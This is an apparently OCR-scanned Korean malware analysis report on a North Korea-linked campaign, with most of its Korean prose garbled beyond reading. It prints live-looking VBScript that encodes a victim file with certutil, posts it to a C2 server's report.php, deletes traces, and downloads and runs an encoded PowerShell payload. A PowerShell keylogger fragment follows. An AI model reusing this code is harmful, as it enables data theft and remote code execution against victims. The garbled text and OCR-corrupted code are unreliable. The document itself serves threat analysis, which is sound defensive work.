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- https://www.wilsoncenter.org/blog-post/outlook-and-tasks-us-north-korea-policy-post-election
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J|Z=EEE(=U5T|) ZEIQ'AD T AT El(Smoke Screen) 9|8 ZHH| Q10 SUSH A=, 7|

=) XI-(Tactlcs Techniques and Procedures, TTPs)E 7 &I L|C}.

=Hy =2
HE0{ 7|20 04211 27 =l U} Q= 'pre.hta’, 'suf .hta', 'cross.php?op=2l A }Zf' 52| FM0| 25 S|,
O|EH0]| = 'pre.hta' 7| A 2F = AKX 2t X[ C2 ME{ 0| EXHSH= A2 &2l = ASLCH

- http://xeoskin.col.]kr/wp/wp-includes/SimplePie/Net/pre.hta (A =F) -> A X|| {0 =X

a. Hancom.Configuration.VBS
b. http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/cross.php?op=1
c. http://xeoskin.col.]kr/wp/wp-includes/SimplePie/Net/suf.hta
d. http://xeoskin.co[.]kr/wp/wp-includes/SimplePie/Net/cross.php?op=3

e. http://xeoskin.co[. Jkr/wp/wp-includes/SimplePie/Net/cross.php?op=2 -> (Base64 Powershell Keylogger)
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'cross.php?op=1' A 0| M= MS QI|A VBAYHX|AEE| Hot MY HAD = 2OME ME

£ Mo sk

=

E 2| 2XtY (multipart/form-data; boundary=----1f341c23b5204)2 7| & &I &

ol AR SHs Z ofjo|E] ufe
Z 0| of2fRi3l| ALR Bt B} UBLICE

Sub Report(tar)
bnd = "----1f341¢23b5204"
disp = "--" + bnd + vbCrLf + "Content-Disposition: form-data; name="
sz = "MAX_FILE_SIZE"
pd =disp + """ + sz + """ + vbCrLf + vbCrLf
pd = pd + "1000000" + vbCrLf
f = "file"
fn = "1.txt"
pd =pd +disp + """ + £+ "
pd = pd + "; filename="
set fp = obt(1).opentextfile(tar, 1, false, -2)
readData = fp.readall
fp.close

Roller("cmd /c del " & tar)
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pd=pd+"""+fn+ """ + vbCrLf
pd = pd + "Content-Type: text/plain" + vbCrLf + vbCrLf
pd = pd + readData + vbCrLf + "--" + bnd + "--"
with obt(2)
.open "POST", mas & "report.php", False
.setRequestHeader "Content-Type", "multipart/form-data; boundary=----1f341c23b5204"
.send pd
end with
Set obt(2) = Nothing
End Sub
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MM W22 S5l 0f 14| 2+ OIC C2 ME{ Q| 'sufhta' AR
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'suf.hta' 20| AISHE| D, 'cross.php?op=3' £t 2 0|0{X| 11 I}/ Al ZE2{(PowRol) ME

'cross.php?op=2' F=AZ CIA| A& ElL|C}

=8, 020z FE #8752 A5 ZeE o] JAsLC
Sub Roller(param)

ws.run param, 0, true

End Sub

Sub PowRol()

dim content

ox.open "GET", uri & "cross.php?op=2", False

ox.Send

content = ox.responseText

Roller("powershell.exe -noprofile -sta -encodedcommand " & content)
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End Sub
Sub Report(parmPath)
set fp = oFile.opentextfile(parmPath, 1, false, -2)

readData = fp.readall

fp.close
boundary = "----1f341c23b5204"
postData = "--" + boundary + vbCrLf + "Content-Disposition: form-data; name=""MAX_FILE_SIZE""" +

vbCrLf+ vbCrLf + "1000000" + vbCrLf + "--" + boundary + vbCrLf + "Content-Disposition: form-data;
name=""file""; filename=""1.txt""" + vbCrLf + "Content-Type: text/plain" + vbCrLf + vbCrLf + readData +
vbCrLf + "--" + boundary + "--"

with ox

.open "POST", uri & "report.php", False

.setRequestHeader "Content-Type", "multipart/form-data; boundary=----1£341c23b5204"
.send postData

end with

Roller("cmd /c del "&dst&";del "&src)

End Sub

dim uri, dir, src, dst

uri = "http://xeoskin.col.]kr/wp/wp-includes/SimplePie/Net/"

dir = ws.ExpandEnvironmentStrings("%appdata%") & "\Microsoft\Network"
If oFile.FolderExists(dir) = false Then

oFile.CreateFolder(dir)

End If

src= dir & "\sr011.xml"

dst= dir & "\conv.xml"

If oFile.FileExists (src) Then

Roller("certutil -f -encode " & src & " " & dst)
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Report(dst)

End If

PowRol
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Base64 2X}I2

2' tHAO M=
'Global\AlreadyRunning191122' FEIA 3

'cross.php?op

EJF &=x{ st

off of 2 x|

sE271E

ojmj AFEE FEIA O

:1;

$bTrue

$mutexName="Global\AlreadyRunning191122";

$Path="%env:appdata\Microsoft\Network\sr011.xml"

try{

[System.Threading.Mutex]::OpenExisting($mutexName);

$mutexOpen

#echo"MutexAlreadyExist!!!";

$bTrue

catch{

#techo"MutexNotExist!!!";

New-ObjectSystem.Threading. Mutex([bool]1,$mutexName);

$mutexNew
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